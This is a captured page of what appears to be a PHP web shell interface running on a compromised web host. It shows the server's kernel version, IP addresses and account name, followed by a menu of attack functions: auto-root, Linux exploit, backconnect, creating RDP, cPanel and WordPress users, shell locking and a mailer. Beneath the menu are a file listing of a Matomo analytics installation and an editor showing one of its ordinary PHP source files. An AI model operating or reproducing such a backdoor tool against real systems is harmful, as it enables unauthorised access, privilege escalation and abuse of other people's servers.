Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.224.32.56
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Plugin /
[ HOME SHELL ]
Name
Size
Permission
Action
Dimension
[ DIR ]
drwxr-xr-x
API.php
4.12
KB
-rw-r--r--
AggregatedMetric.php
612
B
-rw-r--r--
ArchivedMetric.php
5.58
KB
-rw-r--r--
Archiver.php
5.64
KB
-rw-r--r--
Categories.php
1.99
KB
-rw-r--r--
ComponentFactory.php
4.94
KB
-rw-r--r--
ComputedMetric.php
8.45
KB
-rw-r--r--
ConsoleCommand.php
1.43
KB
-rw-r--r--
Controller.php
41.92
KB
-rw-r--r--
ControllerAdmin.php
16.01
KB
-rw-r--r--
Dependency.php
5.98
KB
-rw-r--r--
LogTablesProvider.php
3.11
KB
-rw-r--r--
Manager.php
52.91
KB
-rw-r--r--
Menu.php
11.54
KB
-rw-r--r--
MetadataLoader.php
3.73
KB
-rw-r--r--
Metric.php
6.41
KB
-rw-r--r--
PluginException.php
1.11
KB
-rw-r--r--
ProcessedMetric.php
2.27
KB
-rw-r--r--
ReleaseChannels.php
2.55
KB
-rw-r--r--
Report.php
35.26
KB
-rw-r--r--
ReportsProvider.php
9.3
KB
-rw-r--r--
RequestProcessors.php
630
B
-rw-r--r--
Segment.php
12.75
KB
-rw-r--r--
SettingsProvider.php
7.15
KB
-rw-r--r--
Tasks.php
5.37
KB
-rw-r--r--
ThemeStyles.php
5.82
KB
-rw-r--r--
ViewDataTable.php
21.71
KB
-rw-r--r--
Visualization.php
33.17
KB
-rw-r--r--
WidgetsProvider.php
4.53
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SettingsProvider.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Plugin; use Piwik\CacheId; use Piwik\Container\StaticContainer; use Piwik\Plugin; use Piwik\Cache as PiwikCache; use Piwik\Settings\Measurable\MeasurableSettings; use \Piwik\Settings\Plugin\UserSettings; use \Piwik\Settings\Plugin\SystemSettings; /** * Base class of all plugin settings providers. Plugins that define their own configuration settings * can extend this class to easily make their settings available to Piwik users. * * Descendants of this class should implement the {@link init()} method and call the * {@link addSetting()} method for each of the plugin's settings. * * For an example, see the {@link Piwik\Plugins\ExampleSettingsPlugin\ExampleSettingsPlugin} plugin. */ class SettingsProvider { /** * @var Plugin\Manager */ private $pluginManager; public function __construct(Plugin\Manager $pluginManager) { $this->pluginManager = $pluginManager; } /** * * Get user settings implemented by a specific plugin (if implemented by this plugin). * @param string $pluginName * @return SystemSettings|null */ public function getSystemSettings($pluginName) { $plugin = $this->getLoadedAndActivated($pluginName); if ($plugin) { $settings = $plugin->findComponent('SystemSettings', 'Piwik\\Settings\\Plugin\\SystemSettings'); if ($settings) { return StaticContainer::get($settings); } } } /** * Get user settings implemented by a specific plugin (if implemented by this plugin). * @param string $pluginName * @return UserSettings|null */ public function getUserSettings($pluginName) { $plugin = $this->getLoadedAndActivated($pluginName); if ($plugin) { $settings = $plugin->findComponent('UserSettings', 'Piwik\\Settings\\Plugin\\UserSettings'); if ($settings) { return StaticContainer::get($settings); } } } /** * Returns all available system settings. A plugin has to specify a file named `SystemSettings.php` containing a * class named `SystemSettings` that extends `Piwik\Settings\Plugin\SystemSettings` in order to be considered as * a system setting. Otherwise the settings for a plugin won't be available. * * @return SystemSettings[] An array containing array([pluginName] => [setting instance]). */ public function getAllSystemSettings() { $cacheId = CacheId::languageAware('AllSystemSettings'); $cache = PiwikCache::getTransientCache(); if (!$cache->contains($cacheId)) { $pluginNames = $this->pluginManager->getActivatedPlugins(); $byPluginName = array(); foreach ($pluginNames as $plugin) { $component = $this->getSystemSettings($plugin); if (!empty($component)) { $byPluginName[$plugin] = $component; } } $cache->save($cacheId, $byPluginName); } return $cache->fetch($cacheId); } /** * Returns all available user settings. A plugin has to specify a file named `UserSettings.php` containing a class * named `UserSettings` that extends `Piwik\Settings\Plugin\UserSettings` in order to be considered as a plugin * setting. Otherwise the settings for a plugin won't be available. * * @return UserSettings[] An array containing array([pluginName] => [setting instance]). */ public function getAllUserSettings() { $cacheId = CacheId::languageAware('AllUserSettings'); $cache = PiwikCache::getTransientCache(); if (!$cache->contains($cacheId)) { $pluginNames = $this->pluginManager->getActivatedPlugins(); $byPluginName = array(); foreach ($pluginNames as $plugin) { $component = $this->getUserSettings($plugin); if (!empty($component)) { $byPluginName[$plugin] = $component; } } $cache->save($cacheId, $byPluginName); } return $cache->fetch($cacheId); } /** * @api * * Get measurable settings for a specific plugin. * * @param string $pluginName The name of a plugin. * @param int $idSite The ID of a site. If a site is about to be created pass idSite = 0. * @param string|null $idType If null, idType will be detected automatically if the site already exists. Only * needed to set a value when idSite = 0 (this is the case when a site is about) * to be created. * * @return MeasurableSettings|null Returns null if no MeasurableSettings implemented by this plugin or when plugin * is not loaded and activated. Returns an instance of the settings otherwise. */ public function getMeasurableSettings($pluginName, $idSite, $idType = null) { $plugin = $this->getLoadedAndActivated($pluginName); if ($plugin) { $component = $plugin->findComponent('MeasurableSettings', 'Piwik\\Settings\\Measurable\\MeasurableSettings'); if ($component) { return StaticContainer::getContainer()->make($component, array( 'idSite' => $idSite, 'idMeasurableType' => $idType )); } } } /** * @api * * Get all available measurable settings implemented by loaded and activated plugins. * * @param int $idSite The ID of a site. If a site is about to be created pass idSite = 0. * @param string|null $idMeasurableType If null, idType will be detected automatically if the site already exists. * Only needed to set a value when idSite = 0 (this is the case when a site * is about) to be created. * * @return MeasurableSettings[] */ public function getAllMeasurableSettings($idSite, $idMeasurableType = null) { $pluginNames = $this->pluginManager->getActivatedPlugins(); $byPluginName = array(); foreach ($pluginNames as $plugin) { $component = $this->getMeasurableSettings($plugin, $idSite, $idMeasurableType); if (!empty($component)) { $byPluginName[$plugin] = $component; } } return $byPluginName; } private function getLoadedAndActivated($pluginName) { if (!$this->pluginManager->isPluginLoaded($pluginName)) { return; } try { if (!$this->pluginManager->isPluginActivated($pluginName)) { return; } $plugin = $this->pluginManager->getLoadedPlugin($pluginName); } catch (\Exception $e) { // we are not allowed to use possible settings from this plugin, plugin is not active return; } return $plugin; } }
Close